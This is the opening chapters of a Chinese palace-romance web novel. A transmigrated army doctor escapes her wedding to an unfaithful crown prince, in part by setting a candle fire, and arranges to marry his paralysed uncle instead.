《新婚夜捉奸,转嫁绝嗣皇叔一胎仨宝》 第1章 惊,刚穿来就要捉奸! 一连做了五场手术的沈听晚,因为体力严重透支昏迷了,当她醒来之后,却见着自己身穿大红色嫁衣正处在一个古色古香的喜房当中。 “玄哥哥……” 今天可是我们的新婚夜,一夜春宵半刻我都不舍得浪费呢……” “可是你娶得人不是我啊,太子妃要是醒过来发现我们在婚床上……她一定会告诉陛下,玄哥哥,我不想你因为我被陛下降罪……” “别担心,初儿,娶她入东宫已经委屈了你,过了今晚,我就求父皇下旨给你一个名分。” 床上叶雪初娇红的眼眸忽地一亮:“玄哥哥当真愿意娶我吗?” 君宁玄薄唇微挑:“看来初儿还有的是力气,那我们继续……” “玄哥哥,你好坏!” 床上一阵淫靡之声传入耳中,暧昧的气息扑面而来,沈听晚移目看过去,映入眼帘的便是大红色的帷幄下那两个身影。 帷幄若隐若现,足矣看清床上的一男一女,光不出溜的身体正迎合着彼此。 饶是作为现代人的沈听晚,思想再开放,突然间看到眼前的大型活体“春宫图”也只觉得自己要长了针眼。 沈听晚别开视线,移目看向自己身上穿着的一身大红色喜服,眉头不禁皱了皱。 作为资深爱好者,沈听晚第一反应便是,她穿越了,而且还是穿到一本她正在追更的《侧妃逆袭记》之中。 而她,好巧不巧,穿成了原书中和她同名同姓而且还是男女主之间py一环的炮灰太子妃。 书中,东陵皇室子嗣稀缺,整个皇宫中,只有一个皇子君宁玄,还在弱冠那年与朝中子弟打马球时一不小心伤了命根子,难衍子嗣。 国师预言,唯有好生养的沈家女才能诞下皇长孙。 皇后不光看中了沈听晚是个好生养的,还满意沈家手握二十万重兵可以给太子助力,便求皇帝下旨给她与君宁玄二人赐了婚。 但太子君宁玄自小便与太傅家的小姐也就是书中女主叶雪初看对了眼,自然不愿意这门婚事,奈何皇后强势,皇帝又是君王一诺,他只能心不甘情不愿的与沈听晚大婚。 君宁玄自知愧对叶雪初,便想了个主意,准备在他和沈听晚大婚日与叶雪初生米煮成熟饭,然后再进宫逼父皇给叶雪初名分。 他自然是成功了,叶雪初成为了太子侧妃,两人大秀恩爱,君宁玄更是以太子正妃的礼制将叶雪初娶进门,而作为原书中早就名存实亡的小炮灰太子妃,被迫沦为男女主的背景板不说,还在君宁玄登基之际,被扔去流民巷,凌辱折磨,死相也是相当凄惨。 沈听晚在看到这里的时候,便觉得写这的作者脑袋里肯定有泡,这样的人也能当上男女主,实在是三观炸裂! 可不成想,自己竟然魂穿进来了,而且还穿到了她和君宁玄的大婚夜,男女主大秀春宫图的节点上。 沈听晚冷光乍现,殷红的唇勾起一抹冷笑。 很好,既然她穿过来了,那就让她好好改一改这狗血的剧情吧。 沈听晚不动声色站起身,见着床上那对狗男女忘乎所以,微微眯起双眼,把两人的衣服拿起来放在梳妆台上,然后将泛着油光的红烛放倒,蜡油缓缓滴落在刷着漆油的梳妆台上,不消片刻,蜡油混着烛火落下,火势便会在不知不觉间渐起。 事成后,沈听晚悄悄退出喜房,并且还贴心的将房门给两人关好。 屋外空无一人,想来是君宁玄事前便将人打发走了,不过这也正好如了沈听晚的意。 她一路畅通无阻地走出东宫大门,直到东宫外一对禁军巡逻,发现了她这道大红色的身影。 “何人敢在东宫附近鬼祟!” 嗓音洪亮,可把沈听晚吓了一大跳。 冷静下来的沈听晚扬声开口:“我是今日与太子大婚的沈家女。” 禁军走近,上下打量了沈听晚两眼,见着眼前女子身穿太子妃大婚服侍,立马惶恐跪地:“末将参见太子妃! 您今日与太子殿下大婚,不是应该在喜房吗,为何会出现在这儿,太子殿下呢?” 面对禁军一连三个问题,沈听晚闭上双眼,吸了吸鼻子,再睁眼,眸中含着泪光:“太子殿下在喜房里。” 不等禁军再开口,沈听晚忙道:“劳烦禁军大哥帮忙带个路,我要求见陛下。” 禁军满脑子的问号,不过碍于沈听晚的身份,只好开口:“末将不敢,末将这就给太子妃带路。” 沈听晚跟着一众禁军朝着勤政殿而去,与此同时东宫新房内的两人才察觉到不对劲。 “玄哥哥,你闻到一股什么味儿了吗?” 正把叶雪初压在身下,卖力忙活着的君宁玄漫不经心的开口:“还能什么味儿,是初儿身上的汗香啊……” 下一瞬,君宁玄浑身僵住,不对劲! 是一股焦油燃烧的浓烟味儿! 君宁玄一个激灵从床上爬起来,掀开帷幄,便被眼前的场景惊得瞪大了双眼。 眼看着帷幄外,火势巨大,一整个梳妆台也已经被大火吞噬,连着周围的窗户也开始着起了大火。 “初儿,快起来,着火了!” 叶雪初连忙起身,两人慌不择乱的寻找着各自的衣衫,只可惜,衣衫早已经被大火烧成黑黢黢的残片。 叶雪初的小脸上满是慌乱,四下看了一圈,脸色巨变:“玄哥哥,沈听晚不见了!” 君宁玄眉头紧拧:“该死! 她竟然敢放火!” “玄哥哥,现在该怎么办啊,我们出不去了,不会烧死在这里吧,呜呜……初儿害怕……” 君宁玄此时也是心烦意乱,瞧着火势不大,两人完全可以逃出去,可他和叶雪初身上光溜溜的,总不能就这样出去。 就在这时,门外出现几队禁军,以极快的速度将火势扑灭。 禁军推门而入,见着房间里君宁玄光着身子立在床边,不禁惊在原地。 下一瞬,一道女子惊呼声响起:“啊!” 叶雪初的身子被看光了! 第2章 火烧东宫?臣女冤枉 “放肆!本太子与太子妃在房间里,谁让你擅闯进来的!” 君宁玄反应过来,惊慌之际一把薅起床上锦被盖在自己和叶雪初身上,随即转眼怒瞪禁军冷喝道。 喜房外的众人,听着里头传出君宁玄的声音,脸色那叫一个精彩。 作为君宁玄口中的“太子妃”嘴角不禁勾起一抹冷笑。 这君宁玄也是够聪明的,为了保护叶雪初,竟然能想出让她来代替自己,如果不是她把人都请了过来,估计他还真有可能就这么糊弄过去了呢。 沈听晚的目光微闪了闪,抬头便见到此时,面前的皇帝脸色阴沉的吓人。 下一瞬。 “逆子!还不快给朕滚出来!” 皇帝满眼泛着火光怒不可遏地吼道,声音极具威严。 先前沈听晚说太子与别的女人在喜房苟合的话,他都不相信,甚至还训斥沈听晚一番,现下,可真是狠狠打了脸。 怒喝声传入君宁玄的耳中,引得他脸色骤然一变。 是父皇? 下一瞬,君宁玄便想明白了,一定是沈听晚这个贱人,放了火不说,还去向父皇告了状! 来不及多想,君宁玄一把扯下大红色帷幄披在自己的身上,看向床上满脸吓得惨白的叶雪初,轻声开口:“别怕,有我在,不会叫你有事的,等我!” 安抚好叶雪初后,才见他起身,蹑手蹑脚的朝着门口方向走去。 当他走到门口,看见门外站着的一众人时,瞬间倒吸了口凉气。 东宫门口站了不少人,最前头的当属皇帝,就连皇后也给惊动来了。 饶是做好了准备的君宁玄,见着眼前场景,也忍不住慌了神,特别是看到父皇那透着火光的失望神色,更是叫君宁玄心头一紧。 见着君宁玄衣冠不整,身上甚至只披着一条红纱,皇帝更为火冒三丈。 “混账东西!知不知道今天什么日子?你竟然敢打晕太子妃,在喜房里和别的女人苟且!” 皇帝的怒喝,叫君宁玄的双腿直发软:“父皇,儿臣知错,儿臣只是一时糊涂……” “哼!你还真是会选时候糊涂啊!朕怎么会有你这样的逆子!” 看着皇帝满脸怒火中烧,皇后心里暗叫不好,忙上前抬手轻拍着皇帝后背:“陛下息怒,当心气坏了身子啊。” “他干出这样的荒唐之举,简直是把皇家的脸面都给丢尽了! 看看你教导出的好太子!你叫朕如何息怒!” 皇帝心中的怒火转头发泄在皇后身上,皇后面色也是难看的紧,低下头去:“是,臣妾教导无方,不过此事也并非太子一人之过,一定是宫里的贱婢勾引了太子,不然以太子纯良的心性,不可能做出这等有违伦理之事啊陛下。” 见皇帝不语,皇后心下一喜,知道皇帝是把自己的话听进去了,随后赶忙看向身后嬷嬷:“你去,把里头那个不知廉耻的贱婢给本宫抓出来!本宫倒要看看,究竟是谁敢妄想爬上太子的床!” “是!” 嬷嬷领了命,带着几个宫女冲进喜房,不多时便听见里面叶雪初的声音传出来:“啊!你们别过来!我是太傅之女叶雪初!” 众人脸色剧变。 叶雪初?叶太傅的长女? 怎么会是她呢? 房间里的嬷嬷也不敢再擅动,脸色难看地走到皇后跟前,跪地回禀:“娘娘,喜房里头的是叶姑娘,而且……而且身上没穿衣服,不……不宜见驾。” 皇后气的差点没站稳晕过去,好在被身后的婢女扶住,缓和了好一会儿,才见她紧咬着牙开口:“还不去给她拿件衣服过来!” 抬眼看向跪在地上的太子,更是恨铁不成钢:“滚进去把衣服穿好再出来!” 不多时,君宁玄和叶雪初一同从喜房里走出来,齐齐跪在皇帝跟前,叶雪初将头埋得很低,小脸吓得惨白,纤弱的肩膀也微微颤抖着。 “父皇,母后,今日之事不怪初儿,一切都是儿臣的主意,儿臣不喜欢沈听晚,更不愿娶她,儿臣心里的那个人一直都是初儿。” “逆子!”皇帝气的脸色涨红,抬脚用力踹在君宁玄的胸口处:“你若不满这桩婚事,为何大婚前不说! 太子妃嫁进东宫了,你又做这样的混账事,是存心想要气死朕不成!” “父皇息怒,儿臣并非存心,今日若不是沈听晚她心肠歹毒,竟敢火烧东宫,此事也传不到父皇和母后耳中啊!”君宁玄强忍着疼痛从地上爬起来,跪在皇帝脚边,眼神却满是愤恨地瞪着沈听晚。 “大胆沈听晚,你竟然敢火烧东宫,是要烧死太子吗?”皇后眉心微动,转头瞪向沈听晚,双眼中透着冰冷与狠厉。 沈听晚跪地,随即淡淡道:“皇后娘娘,臣女冤枉。” “冤枉?哼,沈听晚你敢说火不是你放的?你不就是记恨本太子将你迷晕了,你事后报复,把本太子和初儿的衣服都烧了,将本太子和初儿都困在里面,你好向父皇和母后告状吗!” 沈听晚皱起了眉,缓缓闭上双眼,深吸一口气,再睁眼,眸中闪烁着泪光:“有损太子尊体,乃是杀头灭族之罪,臣女知道殿下不喜臣女,但也不能把这杀头的罪名强加到臣女身上来啊!” “你再装!沈听晚,你既说火不是你放的,可有证据?”君宁玄阴沉着脸,满眼尽是阴郁道。 沈听晚跪在地上,此时腰板却是挺得笔直,她不再去看君宁玄,而是转眼看向皇帝:“陛下,皇后娘娘,当时臣女从喜房中醒来,撞见太子与叶姑娘……”沈听晚欲言又止,仿佛是被伤透了心,说话声音略带哽咽:“臣女没有声张,是担心被太子发现,会被太子灭口,就悄悄出了门,欲求陛下护佑。 臣女在出东宫之后,便遇见禁军,请他带臣女去见陛下,在去勤政殿之前刚好路过东宫,火是不是臣女放的,带路的禁军可以为臣女作证。” 沈听晚的话音一落,不远处的禁军便扑通一下跪在地上:“陛下,微臣可为太子妃作证,当时路过东宫门前,里面并未发现火情。” 君宁玄眸色阴冷的瞪向禁军,那架势恨不得要杀人:“身为宫内禁军竟被人贿赂,沈听晚究竟给了你什么好处,竟让你欺君?” 第3章 太子与叶雪初不得再见 沈听晚双眸微眯,心里只觉得荒唐可笑,她微勾唇角,语气不冷不淡:“太子殿下,当时禁军足足有十几人,你的意思是,臣女将那十几名禁军全部都收买了,只为放火烧死你?” “你,放肆!”君宁玄眼中冒着火气,咬牙切齿:“沈听晚,沈家就是这么教你规矩的!” “臣女有什么地方说错了吗?还是说殿下你心虚啊?” 听着沈听晚的话,君宁玄的怒气再无法遮掩,他跪在地上,目光死死地盯着眼前的沈听晚,那眼神仿佛淬了毒:“从前没发现,你不光恶毒,还是这么牙尖嘴利!” “难道臣女被人诬陷,却连给自己解释的机会都不能有吗?”沈听晚冷笑出声,这是说不过她了,所以就想要转移话题了吗? 她偏偏不给君宁玄这个机会! 沈听晚转身对着皇帝的方向深深一拜:“陛下,臣女自知无福,配不上太子殿下。” “太子在大婚日与叶姑娘行夫妻之实,此行此举实在叫人心寒,还请陛下恩准,准许臣女与太子殿下取消婚约。” “不可!”沈听晚的话一出,皇后想也不想便拒绝。 大抵是没想到沈听晚会突然间这么说,皇后心里着急,语气也软下来不少。 她看向沈听晚,脸上带着和气,走到沈听晚身边,拉起她的手,温和地道:“听晚啊,今天是太子糊涂,但是你放心,这事儿母后给你做主,你想怎么处置全凭你一句话,只是你与太子已经拜了天地,取消婚约这样的气话可莫要再说了啊。” 皇后心里也是气恼得很,她贵为皇后,何时低三下气求过人,更何况,还是她的儿媳妇。 不过为了皇嗣,为了沈家的兵权,她必须稳住沈听晚,大不了等这事过去之后,她再拿出婆母的气势,好好出一口恶气! 皇后心里这样想着,眼底也不着痕迹的闪过一丝阴毒之色。 沈听晚见着都忍不住赞叹这皇后的演技实在一流,不给她颁个奖都可惜了! 不过既然要演,沈听晚也不介意配合着,就看她们谁演的好了呗。 在抬眼,沈听晚眼底满是小心翼翼的试探:“皇后娘娘此话当真?” “自然当真!” “好。”沈听晚点点头,视线有意无意朝着叶雪初的方向瞟了瞟,心中冷笑着,巴掌大的小脸上满是幽怨之色:“太子殿下对叶姑娘的情真意切我是亲身体会到了,若叫她进了门,他日这东宫怎会有我一席之地,所以恳请皇后娘娘做主,将她逐出皇宫,从今往后,太子不得再与叶雪初相见。” “沈听晚!”话音刚落,君宁玄猩红着眼眶瞪过来:“初儿的身子已经给了本太子,我若不娶她,岂不是要逼着她去死?” 叶雪初的脸色也唰的一下白了几分,藏在袖子里的拳头一点点缩紧,眼中闪过一抹阴狠之色。 她死死地咬着牙,这个贱人,她怎么敢的? 沈听晚垂下去的眸闪过一抹不易察觉的狡黠,她就知道,君宁玄不可能同意,这也正如了她的愿。 沈听晚深深叹了口气,憋红了眼眶,委屈的看向皇后:“娘娘也看到了,太子殿下不愿意,臣女也实在是没办法啊!” 听着沈听晚的话,皇后气的恨不得狠狠棒打君宁玄一顿,好不容易才稳住了局面,太子的一句话,又全毁了! 她恨铁不成钢的怒喝:“太子,胡闹也要有个限度!你忘了本宫如何跟你说的了,忘了国师曾说过的话了?” 什么事不能把人先娶进门了再说? 等把沈听晚稳住了,太子来日登基想要谁入宫,还不是一句话的事儿! 皇后怒瞪过去,眼神警告君宁玄安分点,莫要再犯糊涂。 一直沉默着不言的叶雪初拳头紧紧攥着,纤细的指甲陷进肉里,她却仿佛感觉不到痛。 如果皇后真的答应了沈听晚,那她和太子就再也没可能了。 想到这儿,叶雪初眼底闪过一丝算计,缓缓起身,转头朝着君宁玄的方向看去,下一瞬泪眼婆娑:“玄哥哥,你就……你就听皇后娘娘的话吧,为了皇家子嗣,为了玄哥哥的未来,我们今后就莫要再见了罢……” 叶雪初柔柔弱弱的上前,垂下头去,一张惨白的小脸尽是故作坚强的隐忍,看着就叫人心疼。 “玄哥哥,你放心,初儿身子给了你,此生便认定了你是初儿的夫君,哪怕此生无法在一起,初儿……也觉得值得……谁叫初儿没有太子妃的福气好,无法为玄哥哥繁衍后嗣。”叶雪初不停的哽咽着:“玄哥哥,我不愿你为了我为难,你便听皇后娘娘的话,不要再惹娘娘不高兴了……” “初儿……”君宁玄怔怔的看着她,心中猛然揪痛,想抬手握住叶雪初的手,却被她躲开了。 君宁玄的心感觉到空唠唠的疼,看向沈听晚的眼神也更加阴沉起来。 都是她,这个贱人引起的事端!此时的君宁玄恨不得当即就杀了沈听晚。 叶雪初的动作却并没有停止,而是脚步缓缓的朝着沈听晚的方向走来,沈听晚眉头不禁一挑,下一瞬,便见叶雪初扑通一下,竟然跪到了自己的脚边。 叶雪初肩膀一耸一耸,垂着头抹泪:“太子妃是臣女错了,臣女不该在您与玄哥哥的大婚之日出现……臣女向娘娘磕头道歉,从今往后都不会再打扰您和玄哥哥了……” 叶雪初的举动,沈听晚看的是一愣一愣的,她上下打量了叶雪初两眼,先前是她轻敌了啊。 叶雪初这一晚上不声不响,没想到,在这儿给她憋了个大的! “本太子是给你脸了!”君宁玄眼中满是狠意横生,对叶雪初的愧疚此刻也化作无尽的愤恨,他一个健步冲上去,抬腿就是一脚朝着沈听晚的肚子上狠狠踹过去。 沈听晚眼神陡然间冷下来,迅速退后一小步躲过君宁玄的一脚,紧接着又顺势往地上一栽,抬手胡乱往脸颊上抹了抹,哭的那叫一个梨花带雨:“陛下,皇后娘娘,还请为臣女做主啊,太子殿下不由分说就对臣女动手,若臣女嫁给太子殿下,他日怕是怎么死的都不知道啊!呜呜……” 第4章 另嫁七皇叔,君翊 君宁玄一个踉跄,心里又惊又怒。 这个贱人她竟然自己躲开了? 而且还倒打一耙?! “沈听晚!本太子要休了你!”君宁玄被气的直跺脚,朝着装模作样的沈听晚怒吼着。 “太后娘娘驾到!” 君宁玄的话音刚落,东宫外边传来一道嗓音尖锐的公鸭嗓。 “太子这是要休了谁啊?” 未见其人,众人便听见一道略带苍老的威严之声。 君宁玄的脸色陡然一变,就连皇后的脸色也跟着难看了不少。 沈听晚抬眼看过去,就见一身穿华丽锦缎,两鬓略微斑白的老妇人缓缓走进来。 她一边捂着肚子,一边用眼神悄悄打量着走近的老妇人。 原来,这就是原书中的太后娘娘啊。 看上去慈祥的脸庞上,此时却是满脸的怒气。 “儿臣/臣妾参见母后。” 皇帝与皇后齐向太后行礼,君宁玄反应过来,也立马躬下身去:“孙儿参见皇祖母。” 太后沉着脸瞪向君宁玄:“东宫今日的动静不小啊!” “都是死的吗?还不快把人扶起来!” 太后的一道沉声呵斥,连忙就有宫女反应过来,上前小心翼翼将沈听晚从地上扶了起来。 “多谢太后娘娘。”沈听晚起身后,朝着太后的方向盈盈一拜:“方才臣女失仪了,还请太后娘娘责罚。” 太后走上前两步,目光紧盯着沈听晚,不多时,便见她沉叹了口气:“东宫的事,哀家听说了,今日委屈了你。” 沈听晚一愣,她怔怔的看着眼前这位年近半百的老妇人,所以,太后这是向着她的? 沈听晚不敢大意,脑中思考者如何应对,下一瞬,她垂下头去伤感地道:“太后娘娘,臣女……不委屈,只是太子殿下无意娶臣女,即便是臣女嫁进东宫,怕是也会与太子离心离德……” “孩子,哀家知道你心里头委屈难过,只不过有一点,你与太子的婚事是皇帝赐婚,天子旨意不容更改,你明白吗?” 听着太后的话,沈听晚的心也一点点凉下来,她心里暗叹,还以为这太后是来帮她的,不成想啊…… 见着沈听晚不语,太后又道:“更何况,即便皇帝恩准你与太子解除婚约,白天进东宫的花轿原路返回,你一个姑娘家,如何抵挡得住白眼与流言蜚语?沈家门楣如何不受影响? 哀家听说,你的大哥沈家大公子还并未娶亲,难保不会受到此时的牵连啊。” 太后的话叫沈听晚心里打了个激灵。 她倒是不担心退掉太子这门婚事对自己有什么影响,但却不能不考虑沈家。 原书中,原主的爹娘和兄长可是对她十分宠爱,都是心地善良的小纸片人儿。 她既然穿到这副身体里,也确实应该为这里的一家人着想。 太后拉着沈听晚的手,似乎是感受到了她内心的挣扎,有些枯槁的眼神微微闪了闪光亮,移目看向皇帝:“皇帝,此事你怎么看?” 皇帝早已经被此时闹得头疼的很:“母后,依儿臣看,大婚既然礼成,便不可作废,沈听晚依旧为太子正妃,掌协理东宫之权,日后诞下皇子,封其子嗣为皇长孙,至于叶雪初。”皇帝眯了眯眼,眸光阴沉:“应太子妃所请,即刻赶出皇宫,幽禁皇家寺庙为东陵祈福,无召终身不得出。” 这下子,叶雪初是彻底慌了神,毫无血色的脸颊又染上一丝惨白,一屁股跌坐在了地上。 皇帝此举,无疑是要断了她全部生路啊! “父皇不可!”皇帝的话音刚落,君宁玄便立马着急了,他跪在皇帝面前,正准备开口,便见皇帝一个厉声打断。 “你闭嘴,早知有现在,当初就别干这样的混账事!”皇帝眉头皱的紧紧的,怒瞪了君宁玄一眼。 君宁玄脸色难看的紧,他沉默片刻,随即郑重跪地,抬头认真的看向皇帝:“父皇,儿臣知错了,儿臣愿意娶沈听晚为太子妃,今后东宫一切事宜全权由她做主,只求父皇恩准儿臣,许初儿一个名分。” “你!”皇帝听着这话,气的恨不得一巴掌把君宁玄这个不肖子给扇醒。 沈听晚心里冷笑起来,正愁着怎么拒绝呢,想不到刚打瞌睡君宁玄这家伙就送来枕头啊! “陛下,看来太子是铁了心要让叶雪初进门了,既然如此,臣女也不好强求。” 君宁玄听见这话,忍不住看了沈听晚一眼,随即露出满意的神色来:“算你识相,沈听晚,你若是答应让初儿进门,本太子会承你的情,今后东宫之中,除了初儿其他一切都有你做主。” “太子殿下你错了。”沈听晚声音极具冷淡的开口:“臣女愿成人之美,但不代表还愿意嫁给你。” “你什么意思?” 沈听晚懒得再搭理君宁玄,转眼又看向太后,福了福身子:“陛下,臣女与太子有缘无分,但也知道,陛下赐婚不可作废,还请陛下准允,让臣女另嫁皇室其他人。” “你想嫁给谁?” 沈听晚吸了口气,随即说出了自己的最终目的。 “臣女幼时曾有幸见过翊王殿下,便觉他是少年意气风法时,鲜衣怒马似锦诗,只可惜天妒英才,使得翊王殿下在战场上身受重伤,若是可以,臣女愿嫁给翊王。” 东宫之中,一片寂静无声。 皇帝的脸色也不禁沉下去几分。 翊王? 他的弟弟,而且还是东陵曾经的战神。 一年多了,今天如果不是沈听晚提起,皇帝都快忘了那个瘫子的存在了…… 其实沈听晚说要嫁给君翊,也是她深思熟虑的结果。 原书中,君翊是九子夺嫡中唯一幸存下来的皇子,之后在这深不见底的后宫凭借着自己的本事得以求生,直到最后一步步成为全京城无人可撼动其地位的七皇叔。 如果不是一年前的那次战争,君翊中了敌将的奸计,受了重伤,变成了一个连话都说不了的瘫子,估计现在皇位都该易主而坐了。 而沈听晚之所以会选择君翊,也是因为她不相信,这样一个足够强大的男人,会有一个那样憋屈的死法。 第5章 本太子的太子妃竟要当我皇婶! 瘫子,哑巴皇叔,郁郁而终,这些不应该成为战神君翊的结局。 当然,她也是有私心的,皇帝赐婚,不是那么容易就能推掉的,她只有另嫁给皇室其他人,才能彻底摆脱原主小炮灰的命运,而这个人选,似乎只有君翊最合适。 “沈听晚!”最先反应过来的君宁玄瞬间暴躁如雷,满眼怒气的瞪向沈听晚:“本太子的太子妃,竟然要当我皇婶,你还要不要脸!” “你给哀家住口!”太后恨铁不成刚的怒喝一声。 君宁玄向来畏惧这位表面看上去慈祥和气的皇祖母,听到这一声怒吼,也瞬间失了全部的嚣张气焰,只不过那双眼睛却仿佛像是一把利剑般恶狠狠的盯着沈听晚。 如此荒唐之事皇祖母和父皇不可能会同意,沈听晚依旧会是东宫的人,等到时候,看他不好好收拾这个叫他出尽洋相的恶毒贱人! 此时,太后也是眉头紧锁:“孩子,你确定想清楚了?翊儿他可是……” “臣女心意已决,若是不能嫁给翊王殿下,臣女情愿绞了头发去当姑子,也不愿身在东宫,被人这样白白折辱。” 沈听晚的语气格外坚定,她将头重重磕在地上,发出“碰”第一声闷响:“还望太后娘娘成全!” “罢了,你既然决心要嫁给翊儿,那哀家便成全你。” 沈听晚面上一喜:“多谢太后娘娘!” “你先把别急着谢,哀家答应你许你为翊王正妃,但是有一个条件。 翊王虽不是哀家亲生,但先帝却格外看中他,哀家也将他视如己出,可惜天不垂怜让他遭此祸事,太医说翊儿他……”说到这里,太后抬起手上的帕子擦了擦眼泪,哽咽的又道:“翊儿怕是活不过明年了,可惜连个子嗣都没能留下,你若是能嫁过去替翊王延嗣,那便是东陵有功之臣,哀家也自是不会亏待你。” 正沉浸在激动以为自己可以摆脱小炮灰命运的沈听晚,在听到太后之后的话时,却仿佛被人泼了一盆凉水,从头凉到脚。 “母后,沈听晚是太子正妃,怎可再嫁,更何况翊王他……”皇后着急了,她连连上前几步,正准备开口,便被太后一记冷眼吓得噤声。 “哼!”太后冷哼一声:“你觉得哀家老了就糊涂了吗!还不是你那太子不成器,白白做这些丢人现眼的丑事!” 皇后自知理亏,心里头觉得亏得慌,但也不敢再多说什么,只能悻悻地缩了缩脖子。 “你若是能答应,那哀家……” “太后娘娘,臣女愿意给翊王殿下延嗣。” 太后怔愣了一瞬,本想着让沈听晚知难而退,可没想到这丫头她竟然答应了?! 良久,太后的嘴角才挤出一丝笑意,抬手轻拍了拍沈听晚的手背:“好,哀家一看你就是个好孩子。” 转眼又看向一旁的皇帝:“东陵民风开放,侄儿替皇叔娶妻也并非不可能,皇帝,你以为如何?” 皇后是将期望全部寄托在了皇帝身上,心里急得仿佛热锅上的蚂蚁,这沈听晚可是她看重的儿媳妇啊! 皇帝抬眼看向太后,心里也觉得不妥,正准备说辞拒绝,便见太后看向他的眼神带着一丝暗示,愣了片刻,话锋一转:“儿臣以为母后所言不无道理,那便传朕旨意,沈听晚嫁与翊王为正妃,翊王身受重伤行动不便,由太子代为娶妻。” 此话一出,皇后的心瞬间拔凉,看向沈听晚的眼神也充满了复杂情愫。 眼看着儿媳妇变成了妯娌,她这心里头有这说不出的滋味儿。 脸色最为难看的当属君翊,本该属于他的太子妃,现在成了自己的七皇婶,说出去,他这个太子岂不是要被人笑话死! 最为高兴的自然是叶雪初,她垂下头去,脸上的欣喜再也遮掩不住半分。 太后冷眼扫过叶雪初,眸中尽是厌恶之色,要不是这个女人横出事端,也不可能发生这样的糟烂事! 见着叶雪初脸上遮掩不住的笑意,太后心中更为大怒。 她还想着要当太子妃?做梦去吧! 太后眯了眯眼,随即冷声道:“至于这叶家女,既无合婚庚帖却与太子行苟且之事,实在不知廉耻。 只不过身子既然给了太子,也不能再嫁,传哀家懿旨,叶家女入东宫为妾室,今晚便抬进东宫吧。” 叶雪初正沉浸在即将成为太子妃的喜悦当中,听到太后的话,瞬间石化在原地。 让她为妾? 不是太子妃,不是太子侧妃,竟然是一个比宫女身份高那么一点点的妾室? 那她今晚做出的种种努力,究竟是为了什么啊…… “母后,叶雪初虽然失于教养,但叶太傅好歹是太子太傅,东陵丞相,让她为妾室,恐怕有失妥当啊……” 已经失了沈家的助力,这个时候绝不能再得罪叶丞相! 皇后心里想着,便立马抓住机会,小心试探地开口。 “哼!能教出这样不知廉耻的女儿,哀家看,叶丞相这太子太傅之位还是免了吧,省的再教坏了太子!” 皇后脸色一白,强撑着笑意开口:“母后说的是,叶丞相却有管教不严之罪,但若是惩罚过重,恐怕会让朝中臣子寒心了。” 太后瞪了皇后一眼,随即目光看向皇帝:“皇帝,此事你看着处理吧,只是一点,这种品行卑劣之女,不可为太子正妃,不让她去皇寺思过,就已经算是给足了叶丞相颜面!” 太后的一句话,叶雪初的妾室之位算是板上钉钉,和书中不同的是,原书中叶雪初是被君宁玄八抬大轿以太子正妃的礼制娶进门的,可现在,却是连一台轿子都没有,更别说拜堂了,太后是直接把人给留在了东宫,连家都不让回。 “王妃娘娘,陛下旨意,命末将护送王妃娘娘出宫。” 沈听晚回神朝着声音的方向看过去,脸上露出一抹笑意:“是你啊,禁军大哥,刚才多谢你为我作证了。” 禁军脸微红,立马将头垂下:“王妃娘娘客气了。” “嗯……那就辛苦你们帮我把东西都抬出东宫,另外我那嫁妆可别落下了啊。” 第6章 殿下愿意信我吗? 沈听晚这话一说,更是气得君宁玄差点没一口黑血喷出来。 他堂堂东宫太子,还能看得上这女人的那点嫁妆? 一场闹剧结束,沈听晚坐上了出宫的轿子,禁军互送朝着翊王府的方向而去。 与此同时,翊王府的人提前收到皇宫里传来的旨意,可是被吓了一跳。 这原本的太子妃,怎么就却成了他们王爷的妻子了? 不过来不及让他们多想,因为从皇宫里抬出来的轿子已经到了翊王府的大门口了。 府上众人心里揣着震惊,一个个出门去迎,然而当看到轿子后面那一台台嫁妆箱子时,更是目瞪口呆。 啊这……他们王妃娘娘,怕不是京城首富的女儿吧? 沈听晚从轿子里走出来,便看到翊王府的大门口齐刷刷站着两队下人,能够看得出来他们心里的忐忑与疑惑。 她勾了勾唇角:“今天时候晚了,有什么事明天再说,你们找几个人把东西抬进去吧。” “是,王妃娘娘……” 沈听晚的话没人敢不从,管家使了个眼色,立马站出来几人,朝着嫁妆箱子而去。 暗祁暗蒙两人一脸懵,他们相视一眼,随即上前一步恭敬行礼:“属下暗祁/暗蒙参见王妃娘娘!” 沈听晚抬眼看过去,笑着点点头,这两个人她是知道的,君翊的贴身侍卫,原书中可说过,他们武功都不错,而且对君翊也是忠心不二。 这可比她那个忘恩负义,得了小便宜就卖主的小丫鬟好太多了。 “带我去殿下的住处吧。” 两个侍卫虽然一时无法接受府上突然莫名其妙多出来一个女主人,但还是恭恭敬敬的带着沈听晚去了后院。 “王妃,这便是您和殿下的住处了。” 暗蒙上前去,先轻轻敲了敲门,然后才缓缓将门打开,几人走进门去。 “殿下,皇上旨意,给您赐了一门亲事,王妃娘娘刚进门便来看您了。” 暗祁的声音响起,然而床上却没有一丝回应。 沈听晚忍不住朝着床上那俊郎的男人方向看过去,只一眼便知原书所言非虚。 毫无求生之欲,将命不久矣。 她叹了口气,说起来她也能理解君翊,明明是马背上打天下的战神将军,可是现在却只能困在一张小小的床上,就连生活都无法自理,换做谁,恐怕都没有欲望活下去。 再抬眼看过去,男人目测身高八尺有余,虽然在床上躺了小一年,但也能看得出来那略微宽大的里衣下,结实的身板。 至于颜值方面,沈听晚不得不感叹一句,简直就是上天垂爱的宠儿啊! 沈听晚平淡的眼底,闪过一抹光亮来。 自身条件不错,努努力的话,应该还有救! 沈听晚回神,径直朝着床边走去,随即伸手拉住君翊的腕处。 躺在床上的男人,终于有了些反应,感觉到自己的手腕被一只柔弱无骨的小手握住,浓密的眉不禁微微蹙了蹙,下一瞬,耳边便传来一道小姑娘清冷声音。 “内脏受损严重,脊柱多处损伤,气血瘀滞,元气大伤,脉象虚浮无力,殿下,你若再这样下去的话,估计要不了多久就要气绝了。” “王妃娘娘慎言!” 沈听晚的话音一落,便惊得众人满脸的不敢置信,暗祁更是想也不想便喝道。 沈听晚转头看过去,神色淡淡:“我说的哪一点不是事实吗?” 两人一时语塞,虽然是事实,但这样的话,他们从来都不敢当着殿下的面提起呀! 始终紧闭双眼的君翊,头一次睁开眼来,转眼朝着沈听晚的方向看过去。 两人的视线悄悄在空气中交织在一起,沈听晚看不到君翊眼神当中有半点波澜,看样子是真的不打算活着了。 沈听晚叹了口气:“年纪轻轻的,就这么放弃自己了,可谓是对自己不负责任啊。” 沈听晚在现代是一名军医,在医院里看惯了生死,也见惯了身受重伤或罹患重病的病人放弃求生的念头。 可是却很少见到像君翊这般,完全放弃自己,半点不畏惧生死的人。 